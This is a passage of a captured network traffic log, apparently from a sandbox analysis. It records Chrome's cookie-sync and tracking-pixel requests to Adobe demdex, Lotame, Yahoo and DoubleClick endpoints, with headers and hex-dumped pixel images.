2024-12-10 14:10:59 UTC	1203	OUT	GET /ibs:dpid=49276&dpuuid=ac8a69cd-6318-4120-90dc-83a942a0e3de HTTP/1.1 Host: dpm.demdex.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: demdex=46356403213087719583427206263392261374; dpm=46356403213087719583427206263392261374; dextp=358-1-1733839845853\|477-1-1733839845975\|771-1-1733839846084\|782-1-1733839846194\|992-1-1733839846305\|1123-1-1733839846408\|903-1-1733839846520\|1175-1-1733839846637\|1957-1-1733839846748\|3047-1-1733839846856\|22054-1-1733839846973\|30646-1-1733839847082\|53196-1-1733839847191\|38117-1-1733839847297\|57282-1-1733839847406\|49276-1-1733839847516\|72352-1-1733839847637\|80742-1-1733839847753\|81309-1-1733839848301\|121998-1-1733839848421\|144228-1-1733839848535\|144229-1-1733839848646\|144230-1-1733839848757\|144231-1-1733839848872\|144232-1-1733839848975\|144233-1-1733839849082\|144234-1-1733839849190\|144235-1-1733839849297\|144236-1-1733839849412\|144237-1-1733839849520\|147592-1-1733839849628\|390122-1-1733839849739
2024-12-10 14:10:59 UTC	891	IN	HTTP/1.1 200 OK Date: Tue, 10 Dec 2024 14:10:59 GMT Content-Type: image/gif Content-Length: 42 Connection: close X-TID: SnaYX7CJQj0= Strict-Transport-Security: max-age=31536000; includeSubDomains Cache-Control: no-cache,no-store,must-revalidate,max-age=0,proxy-revalidate,no-transform,private Pragma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 UTC P3P: policyref="/w3c/p3p.xml", CP="NOI NID CURa ADMa DEVa PSAa PSDa OUR SAMa BUS PUR COM NAV INT" X-Content-Type-Options: nosniff DCS: dcs-prod-irl1-2-v069-0a838c9c9.edge-irl1.demdex.com 2 ms set-cookie: dpm=46356403213087719583427206263392261374; Max-Age=15552000; Expires=Sun, 08 Jun 2025 14:10:59 GMT; Path=/; Domain=.dpm.demdex.net; Secure; SameSite=None set-cookie: demdex=46356403213087719583427206263392261374; Max-Age=15552000; Expires=Sun, 08 Jun 2025 14:10:59 GMT; Path=/; Domain=.demdex.net; Secure; SameSite=None
2024-12-10 14:10:59 UTC	42	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 01 44 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
90	192.168.2.4	50118	54.171.149.245	443	1312	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-10 14:10:59 UTC	1159	OUT	GET /ibs:dpid=22054 HTTP/1.1 Host: dpm.demdex.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: demdex=46356403213087719583427206263392261374; dpm=46356403213087719583427206263392261374; dextp=358-1-1733839845853\|477-1-1733839845975\|771-1-1733839846084\|782-1-1733839846194\|992-1-1733839846305\|1123-1-1733839846408\|903-1-1733839846520\|1175-1-1733839846637\|1957-1-1733839846748\|3047-1-1733839846856\|22054-1-1733839846973\|30646-1-1733839847082\|53196-1-1733839847191\|38117-1-1733839847297\|57282-1-1733839847406\|49276-1-1733839847516\|72352-1-1733839847637\|80742-1-1733839847753\|81309-1-1733839848301\|121998-1-1733839848421\|144228-1-1733839848535\|144229-1-1733839848646\|144230-1-1733839848757\|144231-1-1733839848872\|144232-1-1733839848975\|144233-1-1733839849082\|144234-1-1733839849190\|144235-1-1733839849297\|144236-1-1733839849412\|144237-1-1733839849520\|147592-1-1733839849628\|390122-1-1733839849739
2024-12-10 14:10:59 UTC	905	IN	HTTP/1.1 200 OK Date: Tue, 10 Dec 2024 14:10:59 GMT Content-Type: image/gif Content-Length: 42 Connection: close X-TID: CPgy45SWQoA= Strict-Transport-Security: max-age=31536000; includeSubDomains Cache-Control: no-cache,no-store,must-revalidate,max-age=0,proxy-revalidate,no-transform,private Pragma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 UTC P3P: policyref="/w3c/p3p.xml", CP="NOI NID CURa ADMa DEVa PSAa PSDa OUR SAMa BUS PUR COM NAV INT" X-Error: 300 X-Content-Type-Options: nosniff DCS: dcs-prod-irl1-2-v069-0db8cbaa5.edge-irl1.demdex.com 9 ms set-cookie: dpm=46356403213087719583427206263392261374; Max-Age=15552000; Expires=Sun, 08 Jun 2025 14:10:59 GMT; Path=/; Domain=.dpm.demdex.net; Secure; SameSite=None set-cookie: demdex=46356403213087719583427206263392261374; Max-Age=15552000; Expires=Sun, 08 Jun 2025 14:10:59 GMT; Path=/; Domain=.demdex.net; Secure; SameSite=None
2024-12-10 14:10:59 UTC	42	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 01 44 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
91	192.168.2.4	50121	54.154.234.207	443	1312	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-10 14:10:59 UTC	1439	OUT	GET /ibs:dpid=80742&dpuuid=52f3b213-3dca-4813-811d-c5602f354dc7 HTTP/1.1 Host: dpm.demdex.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://mscom.demdex.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: demdex=46356403213087719583427206263392261374; dpm=46356403213087719583427206263392261374; dextp=358-1-1733839845853\|477-1-1733839845975\|771-1-1733839846084\|782-1-1733839846194\|992-1-1733839846305\|1123-1-1733839846408\|903-1-1733839846520\|1175-1-1733839846637\|1957-1-1733839846748\|3047-1-1733839846856\|22054-1-1733839846973\|30646-1-1733839847082\|53196-1-1733839847191\|38117-1-1733839847297\|57282-1-1733839847406\|49276-1-1733839847516\|72352-1-1733839847637\|80742-1-1733839847753\|81309-1-1733839848301\|121998-1-1733839848421\|144228-1-1733839848535\|144229-1-1733839848646\|144230-1-1733839848757\|144231-1-1733839848872\|144232-1-1733839848975\|144233-1-1733839849082\|144234-1-1733839849190\|144235-1-1733839849297\|144236-1-1733839849412\|144237-1-1733839849520\|147592-1-1733839849628\|390122-1-1733839849739
2024-12-10 14:10:59 UTC	891	IN	HTTP/1.1 200 OK Date: Tue, 10 Dec 2024 14:10:59 GMT Content-Type: image/gif Content-Length: 42 Connection: close X-TID: IF8m0g5TSQs= Strict-Transport-Security: max-age=31536000; includeSubDomains Cache-Control: no-cache,no-store,must-revalidate,max-age=0,proxy-revalidate,no-transform,private Pragma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 UTC P3P: policyref="/w3c/p3p.xml", CP="NOI NID CURa ADMa DEVa PSAa PSDa OUR SAMa BUS PUR COM NAV INT" X-Content-Type-Options: nosniff DCS: dcs-prod-irl1-2-v069-086b13e5d.edge-irl1.demdex.com 2 ms set-cookie: dpm=46356403213087719583427206263392261374; Max-Age=15552000; Expires=Sun, 08 Jun 2025 14:10:59 GMT; Path=/; Domain=.dpm.demdex.net; Secure; SameSite=None set-cookie: demdex=46356403213087719583427206263392261374; Max-Age=15552000; Expires=Sun, 08 Jun 2025 14:10:59 GMT; Path=/; Domain=.demdex.net; Secure; SameSite=None
2024-12-10 14:10:59 UTC	42	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 01 44 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
92	192.168.2.4	50109	3.1.88.234	443	1312	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-10 14:10:59 UTC	737	OUT	GET /map/c=9828/tp=ADBE/gdpr=0/gdpr_consent=/tpid=46356403213087719583427206263392261374?https%3A%2F%2Fdpm.demdex.net%2Fibs%3Adpid%3D121998%26dpuuid%3D${profile_id} HTTP/1.1 Host: sync.crwdcntrl.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://mscom.demdex.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-10 14:10:59 UTC	536	IN	HTTP/1.1 302 Found Date: Tue, 10 Dec 2024 14:10:59 GMT Content-Length: 0 Connection: close P3P: CP=NOI DSP COR NID PSAa PSDa OUR UNI COM NAV Cache-Control: no-cache Pragma: no-cache Expires: 0 X-Server: 10.42.19.20 Set-Cookie: _cc_cc=ctst;Path=/;Domain=crwdcntrl.net;SameSite=None;Secure Location: https://sync.crwdcntrl.net/map/ct=y/c=9828/tp=ADBE/gdpr=0/gdpr_consent=/tpid=46356403213087719583427206263392261374?https%3A%2F%2Fdpm.demdex.net%2Fibs%3Adpid%3D121998%26dpuuid%3D${profile_id} Server: Jetty(9.4.38.v20210224)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
93	192.168.2.4	50122	188.125.88.204	443	1312	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-10 14:10:59 UTC	846	OUT	GET /ups/58782/cms?partner_id=ADOBE&_hosted_id=46356403213087719583427206263392261374&gdpr=0&gdpr_consent=&uid=46356403213087719583427206263392261374&verify=true HTTP/1.1 Host: ups.analytics.yahoo.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://mscom.demdex.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: A3=d=AQABBPFLWGcCEMX1aeWtOi4AtnX1XwkzrHEFEgEBAQGdWWdiZ9xH0iMA_eMAAA&S=AQAAAo3I5VUb0KMyhshn0L6ci3k
2024-12-10 14:11:00 UTC	779	IN	HTTP/1.1 302 Found Date: Tue, 10 Dec 2024 14:11:00 GMT Content-Type: text/html Content-Length: 0 Strict-Transport-Security: max-age=31536000 Set-Cookie: IDSYNC=19cu~2mb2;Version=1;Domain=.analytics.yahoo.com;Path=/;Max-Age=31536000;Expires=Wed, 10-Dec-2025 14:11:00 GMT;Secure;SameSite=None P3P: CP=NOI DSP COR LAW CURa DEVa TAIa PSAa PSDa OUR BUS UNI COM NAV Location: https://dpm.demdex.net/ibs:dpid=30646?dpuuid=y-06NGrQJE2pE28EYCIxdbKk9v8JKOzJTaXfE-~A Referrer-Policy: no-referrer-when-downgrade Age: 0 Connection: close Server: ATS Set-Cookie: A3=d=AQABBPFLWGcCEMX1aeWtOi4AtnX1XwkzrHEFEgEBAQGdWWdiZ9xH0iMA_eMAAA&S=AQAAAo3I5VUb0KMyhshn0L6ci3k; Expires=Wed, 10 Dec 2025 20:11:00 GMT; Max-Age=31557600; Domain=.yahoo.com; Path=/; SameSite=None; Secure; HttpOnly

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
94	192.168.2.4	50125	54.154.234.207	443	1312	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-10 14:11:00 UTC	1417	OUT	GET /ibs:dpid=782&dpuuid=Z1hL5gAAAMiWjgOJ HTTP/1.1 Host: dpm.demdex.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://mscom.demdex.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: demdex=46356403213087719583427206263392261374; dpm=46356403213087719583427206263392261374; dextp=358-1-1733839845853\|477-1-1733839845975\|771-1-1733839846084\|782-1-1733839846194\|992-1-1733839846305\|1123-1-1733839846408\|903-1-1733839846520\|1175-1-1733839846637\|1957-1-1733839846748\|3047-1-1733839846856\|22054-1-1733839846973\|30646-1-1733839847082\|53196-1-1733839847191\|38117-1-1733839847297\|57282-1-1733839847406\|49276-1-1733839847516\|72352-1-1733839847637\|80742-1-1733839847753\|81309-1-1733839848301\|121998-1-1733839848421\|144228-1-1733839848535\|144229-1-1733839848646\|144230-1-1733839848757\|144231-1-1733839848872\|144232-1-1733839848975\|144233-1-1733839849082\|144234-1-1733839849190\|144235-1-1733839849297\|144236-1-1733839849412\|144237-1-1733839849520\|147592-1-1733839849628\|390122-1-1733839849739
2024-12-10 14:11:01 UTC	891	IN	HTTP/1.1 200 OK Date: Tue, 10 Dec 2024 14:11:00 GMT Content-Type: image/gif Content-Length: 42 Connection: close X-TID: eHsW2q8NS9k= Strict-Transport-Security: max-age=31536000; includeSubDomains Cache-Control: no-cache,no-store,must-revalidate,max-age=0,proxy-revalidate,no-transform,private Pragma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 UTC P3P: policyref="/w3c/p3p.xml", CP="NOI NID CURa ADMa DEVa PSAa PSDa OUR SAMa BUS PUR COM NAV INT" X-Content-Type-Options: nosniff DCS: dcs-prod-irl1-2-v069-03f4d05d4.edge-irl1.demdex.com 2 ms set-cookie: dpm=46356403213087719583427206263392261374; Max-Age=15552000; Expires=Sun, 08 Jun 2025 14:11:00 GMT; Path=/; Domain=.dpm.demdex.net; Secure; SameSite=None set-cookie: demdex=46356403213087719583427206263392261374; Max-Age=15552000; Expires=Sun, 08 Jun 2025 14:11:00 GMT; Path=/; Domain=.demdex.net; Secure; SameSite=None
2024-12-10 14:11:01 UTC	42	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 01 44 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
95	192.168.2.4	50131	54.171.149.245	443	1312	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-10 14:11:01 UTC	1209	OUT	GET /ibs:dpid=72352&dpuuid=163177591737373899600&gdpr=0&gdpr_consent= HTTP/1.1 Host: dpm.demdex.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: demdex=46356403213087719583427206263392261374; dpm=46356403213087719583427206263392261374; dextp=358-1-1733839845853\|477-1-1733839845975\|771-1-1733839846084\|782-1-1733839846194\|992-1-1733839846305\|1123-1-1733839846408\|903-1-1733839846520\|1175-1-1733839846637\|1957-1-1733839846748\|3047-1-1733839846856\|22054-1-1733839846973\|30646-1-1733839847082\|53196-1-1733839847191\|38117-1-1733839847297\|57282-1-1733839847406\|49276-1-1733839847516\|72352-1-1733839847637\|80742-1-1733839847753\|81309-1-1733839848301\|121998-1-1733839848421\|144228-1-1733839848535\|144229-1-1733839848646\|144230-1-1733839848757\|144231-1-1733839848872\|144232-1-1733839848975\|144233-1-1733839849082\|144234-1-1733839849190\|144235-1-1733839849297\|144236-1-1733839849412\|144237-1-1733839849520\|147592-1-1733839849628\|390122-1-1733839849739
2024-12-10 14:11:01 UTC	891	IN	HTTP/1.1 200 OK Date: Tue, 10 Dec 2024 14:11:01 GMT Content-Type: image/gif Content-Length: 42 Connection: close X-TID: G2P1MHCnSJQ= Strict-Transport-Security: max-age=31536000; includeSubDomains Cache-Control: no-cache,no-store,must-revalidate,max-age=0,proxy-revalidate,no-transform,private Pragma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 UTC P3P: policyref="/w3c/p3p.xml", CP="NOI NID CURa ADMa DEVa PSAa PSDa OUR SAMa BUS PUR COM NAV INT" X-Content-Type-Options: nosniff DCS: dcs-prod-irl1-2-v069-03f4d05d4.edge-irl1.demdex.com 2 ms set-cookie: dpm=46356403213087719583427206263392261374; Max-Age=15552000; Expires=Sun, 08 Jun 2025 14:11:01 GMT; Path=/; Domain=.dpm.demdex.net; Secure; SameSite=None set-cookie: demdex=46356403213087719583427206263392261374; Max-Age=15552000; Expires=Sun, 08 Jun 2025 14:11:01 GMT; Path=/; Domain=.demdex.net; Secure; SameSite=None
2024-12-10 14:11:01 UTC	42	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 01 44 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
96	192.168.2.4	50136	54.171.149.245	443	1312	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-10 14:11:01 UTC	1187	OUT	GET /ibs:dpid=53196&dpuuid=Q7871262551912975290 HTTP/1.1 Host: dpm.demdex.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: demdex=46356403213087719583427206263392261374; dpm=46356403213087719583427206263392261374; dextp=358-1-1733839845853\|477-1-1733839845975\|771-1-1733839846084\|782-1-1733839846194\|992-1-1733839846305\|1123-1-1733839846408\|903-1-1733839846520\|1175-1-1733839846637\|1957-1-1733839846748\|3047-1-1733839846856\|22054-1-1733839846973\|30646-1-1733839847082\|53196-1-1733839847191\|38117-1-1733839847297\|57282-1-1733839847406\|49276-1-1733839847516\|72352-1-1733839847637\|80742-1-1733839847753\|81309-1-1733839848301\|121998-1-1733839848421\|144228-1-1733839848535\|144229-1-1733839848646\|144230-1-1733839848757\|144231-1-1733839848872\|144232-1-1733839848975\|144233-1-1733839849082\|144234-1-1733839849190\|144235-1-1733839849297\|144236-1-1733839849412\|144237-1-1733839849520\|147592-1-1733839849628\|390122-1-1733839849739
2024-12-10 14:11:01 UTC	891	IN	HTTP/1.1 200 OK Date: Tue, 10 Dec 2024 14:11:01 GMT Content-Type: image/gif Content-Length: 42 Connection: close X-TID: uyKw72sWTTY= Strict-Transport-Security: max-age=31536000; includeSubDomains Cache-Control: no-cache,no-store,must-revalidate,max-age=0,proxy-revalidate,no-transform,private Pragma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 UTC P3P: policyref="/w3c/p3p.xml", CP="NOI NID CURa ADMa DEVa PSAa PSDa OUR SAMa BUS PUR COM NAV INT" X-Content-Type-Options: nosniff DCS: dcs-prod-irl1-2-v069-0b8e7a47b.edge-irl1.demdex.com 2 ms set-cookie: dpm=46356403213087719583427206263392261374; Max-Age=15552000; Expires=Sun, 08 Jun 2025 14:11:01 GMT; Path=/; Domain=.dpm.demdex.net; Secure; SameSite=None set-cookie: demdex=46356403213087719583427206263392261374; Max-Age=15552000; Expires=Sun, 08 Jun 2025 14:11:01 GMT; Path=/; Domain=.demdex.net; Secure; SameSite=None
2024-12-10 14:11:01 UTC	42	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 01 44 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
97	192.168.2.4	50137	54.171.149.245	443	1312	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-10 14:11:01 UTC	1203	OUT	GET /ibs:dpid=80742&dpuuid=52f3b213-3dca-4813-811d-c5602f354dc7 HTTP/1.1 Host: dpm.demdex.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: demdex=46356403213087719583427206263392261374; dpm=46356403213087719583427206263392261374; dextp=358-1-1733839845853\|477-1-1733839845975\|771-1-1733839846084\|782-1-1733839846194\|992-1-1733839846305\|1123-1-1733839846408\|903-1-1733839846520\|1175-1-1733839846637\|1957-1-1733839846748\|3047-1-1733839846856\|22054-1-1733839846973\|30646-1-1733839847082\|53196-1-1733839847191\|38117-1-1733839847297\|57282-1-1733839847406\|49276-1-1733839847516\|72352-1-1733839847637\|80742-1-1733839847753\|81309-1-1733839848301\|121998-1-1733839848421\|144228-1-1733839848535\|144229-1-1733839848646\|144230-1-1733839848757\|144231-1-1733839848872\|144232-1-1733839848975\|144233-1-1733839849082\|144234-1-1733839849190\|144235-1-1733839849297\|144236-1-1733839849412\|144237-1-1733839849520\|147592-1-1733839849628\|390122-1-1733839849739
2024-12-10 14:11:01 UTC	891	IN	HTTP/1.1 200 OK Date: Tue, 10 Dec 2024 14:11:01 GMT Content-Type: image/gif Content-Length: 42 Connection: close X-TID: cFIh6AkxTIw= Strict-Transport-Security: max-age=31536000; includeSubDomains Cache-Control: no-cache,no-store,must-revalidate,max-age=0,proxy-revalidate,no-transform,private Pragma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 UTC P3P: policyref="/w3c/p3p.xml", CP="NOI NID CURa ADMa DEVa PSAa PSDa OUR SAMa BUS PUR COM NAV INT" X-Content-Type-Options: nosniff DCS: dcs-prod-irl1-2-v069-0bd5f2040.edge-irl1.demdex.com 2 ms set-cookie: dpm=46356403213087719583427206263392261374; Max-Age=15552000; Expires=Sun, 08 Jun 2025 14:11:01 GMT; Path=/; Domain=.dpm.demdex.net; Secure; SameSite=None set-cookie: demdex=46356403213087719583427206263392261374; Max-Age=15552000; Expires=Sun, 08 Jun 2025 14:11:01 GMT; Path=/; Domain=.demdex.net; Secure; SameSite=None
2024-12-10 14:11:01 UTC	42	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 01 44 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
98	192.168.2.4	50130	172.217.17.66	443	1312	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-10 14:11:01 UTC	751	OUT	GET /pixel?google_nid=g8f47s39e399f3fe&google_push&google_sc&google_hm=WjFoTDVnQUFBTWlXamdPSg== HTTP/1.1 Host: cm.g.doubleclick.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://mscom.demdex.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: IDE=AHWqTUmQ_f_CjFj0b1W5zdLfeUU4tsgnQqTkAloPZ2LWEBJBszA-nP0k9RGGFf3qhKo
2024-12-10 14:11:02 UTC	374	IN	HTTP/1.1 200 OK Content-Type: image/png Date: Tue, 10 Dec 2024 14:11:02 GMT Pragma: no-cache Expires: Fri, 01 Jan 1990 00:00:00 GMT Cache-Control: no-cache, must-revalidate Cross-Origin-Resource-Policy: cross-origin Server: HTTP server (unknown) Content-Length: 170 X-XSS-Protection: 0 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-12-10 14:11:02 UTC	170	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 01 00 00 00 01 08 06 00 00 00 1f 15 c4 89 00 00 00 06 62 4b 47 44 00 ff 00 ff 00 ff a0 bd a7 93 00 00 00 09 70 48 59 73 00 00 0b 13 00 00 0b 13 01 00 9a 9c 18 00 00 00 07 74 49 4d 45 07 d7 05 1d 0d 0d 2d 51 d5 37 6e 00 00 00 1d 74 45 58 74 43 6f 6d 6d 65 6e 74 00 43 72 65 61 74 65 64 20 77 69 74 68 20 54 68 65 20 47 49 4d 50 ef 64 25 6e 00 00 00 0d 49 44 41 54 08 d7 63 a8 69 79 e5 00 00 05 95 02 2b 03 a2 de f7 00 00 00 00 49 45 4e 44 ae 42 60 82 0a Data Ascii: PNGIHDRbKGDpHYstIME-Q7ntEXtCommentCreated with The GIMPd%nIDATciy+IENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
99	192.168.2.4	50138	54.154.234.207	443	1312	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-10 14:11:01 UTC	1443	OUT	GET /ibs:dpid=30646?dpuuid=y-06NGrQJE2pE28EYCIxdbKk9v8JKOzJTaXfE-~A HTTP/1.1 Host: dpm.demdex.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://mscom.demdex.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: demdex=46356403213087719583427206263392261374; dpm=46356403213087719583427206263392261374; dextp=358-1-1733839845853\|477-1-1733839845975\|771-1-1733839846084\|782-1-1733839846194\|992-1-1733839846305\|1123-1-1733839846408\|903-1-1733839846520\|1175-1-1733839846637\|1957-1-1733839846748\|3047-1-1733839846856\|22054-1-1733839846973\|30646-1-1733839847082\|53196-1-1733839847191\|38117-1-1733839847297\|57282-1-1733839847406\|49276-1-1733839847516\|72352-1-1733839847637\|80742-1-1733839847753\|81309-1-1733839848301\|121998-1-1733839848421\|144228-1-1733839848535\|144229-1-1733839848646\|144230-1-1733839848757\|144231-1-1733839848872\|144232-1-1733839848975\|144233-1-1733839849082\|144234-1-1733839849190\|144235-1-1733839849297\|144236-1-1733839849412\|144237-1-1733839849520\|147592-1-1733839849628\|390122-1-1733839849739
2024-12-10 14:11:02 UTC	891	IN	HTTP/1.1 200 OK Date: Tue, 10 Dec 2024 14:11:02 GMT Content-Type: image/gif Content-Length: 42 Connection: close X-TID: q0m5Ml2XSTk= Strict-Transport-Security: max-age=31536000; includeSubDomains Cache-Control: no-cache,no-store,must-revalidate,max-age=0,proxy-revalidate,no-transform,private Pragma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 UTC P3P: policyref="/w3c/p3p.xml", CP="NOI NID CURa ADMa DEVa PSAa PSDa OUR SAMa BUS PUR COM NAV INT" X-Content-Type-Options: nosniff DCS: dcs-prod-irl1-1-v069-05ec847ec.edge-irl1.demdex.com 2 ms set-cookie: dpm=46356403213087719583427206263392261374; Max-Age=15552000; Expires=Sun, 08 Jun 2025 14:11:02 GMT; Path=/; Domain=.dpm.demdex.net; Secure; SameSite=None set-cookie: demdex=46356403213087719583427206263392261374; Max-Age=15552000; Expires=Sun, 08 Jun 2025 